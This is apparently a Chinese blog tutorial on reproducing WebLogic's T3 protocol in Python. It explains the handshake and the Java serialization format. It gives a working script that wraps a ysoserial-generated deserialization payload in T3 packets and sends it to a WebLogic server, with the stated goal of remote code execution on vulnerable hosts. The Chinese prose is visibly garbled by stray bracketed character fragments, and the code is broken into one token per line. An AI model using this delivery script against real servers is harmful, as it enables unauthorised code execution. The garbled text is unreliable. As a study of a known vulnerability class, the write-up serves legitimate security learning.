前言
前段時(shí)間總結(jié)了weblogic歷年來的rce漏洞,并編寫了poc,這些漏洞中有好幾個(gè)都要用到T3協(xié)議來發(fā)送序列化數(shù)據(jù),所以需要用python來模擬實(shí)現(xiàn)t3協(xié)議,當(dāng)然t3協(xié)議腳本,github上就可以找到,雖然用別人的腳本改一下也可以完成數(shù)據(jù)的發(fā)送,但是我還是很好奇這個(gè)t3協(xié)議到底怎么構(gòu)造的,怎么發(fā)送數(shù)據(jù)的,他的協(xié)議格式是什么樣的,于是再一番查閱資料過后,有了這篇文章。
這是正題
廢話不多說,先丟一份參考資料,當(dāng)中關(guān)于如何模擬t3協(xié)議數(shù)據(jù)包講的很詳細(xì),我這里只是實(shí)操一下
http://drops.xmd5.com/static/drops/web-13470.html
為了直觀,我先用wireshark抓一個(gè)t3通信的數(shù)據(jù)包,并以ascii方式顯示
紅色內(nèi)容為我們發(fā)給weblogic的數(shù)據(jù),藍(lán)色為weblogic返回的數(shù)據(jù)
第一段紅色數(shù)據(jù)相當(dāng)于一個(gè)握手包,發(fā)給weblogic,然后webligc回復(fù),這一段包很好構(gòu)造,直接發(fā)送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
就行,重點(diǎn)是第二個(gè)包的構(gòu)造,我們在wireshark中以hex模式查看數(shù)據(jù)流,如下
在繼續(xù)之前,我們需要知道java反序列化數(shù)據(jù)都有一個(gè)特征數(shù)字:ac ed ,ac ed后面跟版本號(也就是上面的 00 05), 這個(gè)我們也可以通過實(shí)驗(yàn)證明:
import
java
.
io
.
*
;
public
class
Ser
{
public
static
void
main
(
String
[
]
args
)
throws
IOException
{
File file
=
new
File
(
"test.txt"
)
;
FileOutputStream out
=
new
FileOutputStream
(
file
)
;
ObjectOutputStream obj
=
new
ObjectOutputStream
(
out
)
;
obj
.
writeObject
(
(
new
Test1
(
"axin"
,
18
)
)
)
;
}
}
class
Test1
implements
Serializable
{
String name
;
int
age
;
Test1
(
String name
,
int
age
)
{
this
.
name
=
name
;
this
.
age
=
age
;
}
public
void
show
(
)
{
System
.
out
.
println
(
"年齡:"
+
age
+
",姓名:"
+
name
)
;
}
}
上面是一小段java序列化的demo, 大概功能就是序列化Test1的對象并寫入test.txt文件中,運(yùn)行程序,我們可以看到工程目錄下生成了test.txt文件,我們用一個(gè)可以以16進(jìn)制展示文件的工具打開test.txt,我linux環(huán)境下用的xxd(使用方法:xxd 文件名),可以看到文件內(nèi)容如下:
可以看到,這個(gè)序列化后的對象,開頭幾個(gè)數(shù)字也是aced0005。所以根據(jù)抓包結(jié)果,我一共在其中找到了五個(gè)aced,也就是說它t3協(xié)議發(fā)送了五個(gè)序列化后的對象,這和參考文章中所說的六個(gè)有所出入(以下是參考文章中的圖片,借用一下)
雖然上圖中的數(shù)據(jù)包和我所抓到的數(shù)據(jù)包有所出入,但是并不影響我們的分析,由上圖可以看到以aced開頭的有六部分,還有第一部分是一些額外的數(shù)據(jù)(直接拷貝就行),這個(gè)第一部分的前四個(gè)字節(jié),也就是上圖中的
00 00 06 af
是整個(gè)數(shù)據(jù)包的大小,單位是字節(jié),所以這一點(diǎn)是我們在模擬t3協(xié)議需要特別關(guān)注的。
然后按照參考文章中所說,構(gòu)造數(shù)據(jù)包一般來講有兩種方式,
- 替換aced開頭的六個(gè)部分中的任意一個(gè)
- 直接將包含數(shù)據(jù)包長度的第一部分和我們的惡意序列化數(shù)據(jù)進(jìn)行拼接(也就是用一個(gè)惡意序列化數(shù)據(jù)替換掉常規(guī)包中所有aced開頭的序列化數(shù)據(jù))
注:圖片都來自參考文章
然后在參考別人寫的t3協(xié)議腳本的時(shí)候還注意到一個(gè)細(xì)節(jié),那就是如果采用第一種替換方式,那么你還需要在你的惡意序列化數(shù)據(jù)的結(jié)尾加上
fe010000
,不知道為什么每個(gè)序列化數(shù)據(jù)都是用這幾個(gè)字節(jié)隔開的,你可以通過上面的數(shù)據(jù)包截圖觀察到這一點(diǎn)。
但是如果你采用第二種方式構(gòu)造數(shù)據(jù)包的話,就不需要擔(dān)心這個(gè)問題,直接拼接就ok了。下面是我采用的第二種方式實(shí)現(xiàn)的一個(gè)python 模擬t3協(xié)議發(fā)送數(shù)據(jù)的腳本
# -*- coding:utf-8 -*-
import
binascii
import
socket
import
time
def
t3
(
)
:
hello
=
't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
host
=
(
'127.0.0.1'
,
7001
)
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
sock
.
settimeout
(
15
)
sock
.
connect
(
host
)
sock
.
send
(
hello
.
encode
(
'utf-8'
)
)
time
.
sleep
(
1
)
resp1
=
sock
.
recv
(
1024
)
print
(
resp1
)
data1
=
'016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
with
open
(
'poc'
,
'rb'
)
as
f
:
a
=
binascii
.
b2a_hex
(
f
.
read
(
)
)
.
decode
(
'utf-8'
)
print
(
a
)
data
=
data1
+
a
data
=
'%s%s'
%
(
'{:08x}'
.
format
(
len
(
data
)
//
2
+
4
)
,
data
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
time
.
sleep
(
2
)
sock
.
send
(
binascii
.
a2b_hex
(
data
)
)
if
__name__
==
"__main__"
:
t3
(
)
其中poc文件存放著我利用ysoserial工具生成的一個(gè)payload,這個(gè)payload如果成功被有漏洞的weblogic反序列化的話就會(huì)在目標(biāo)主機(jī)的/tmp目錄下創(chuàng)建一個(gè)axin.txt文件,當(dāng)執(zhí)行該腳本后,我們?nèi)ツ繕?biāo)機(jī)上看一下:
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
